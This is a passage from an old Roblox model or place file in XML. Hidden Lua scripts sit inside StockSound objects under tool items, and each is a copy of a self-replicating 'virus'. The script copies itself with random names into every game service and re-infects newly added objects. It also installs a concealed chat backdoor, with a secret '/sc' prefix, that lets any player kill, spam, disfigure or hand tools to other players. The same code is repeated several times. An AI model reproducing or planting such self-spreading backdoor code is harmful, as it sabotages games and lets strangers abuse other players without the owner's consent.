if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="HopperBin" referent="RBX931">
			<Properties>
				<token name="BinType">3</token>
				<string name="Name">HopperBin</string>
				<Content name="TextureId"><url>rbxasset://Textures\Clone.png</url></Content>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="StockSound" referent="RBX932">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">vu3ymaj</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX933">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">i1n5e0</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="HopperBin" referent="RBX934">
			<Properties>
				<token name="BinType">1</token>
				<string name="Name">GameTool</string>
				<Content name="TextureId"><url>rbxasset://Textures\GameTool.png</url></Content>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="StockSound" referent="RBX935">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">6gt628h</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX936">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">2846wgwjj</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
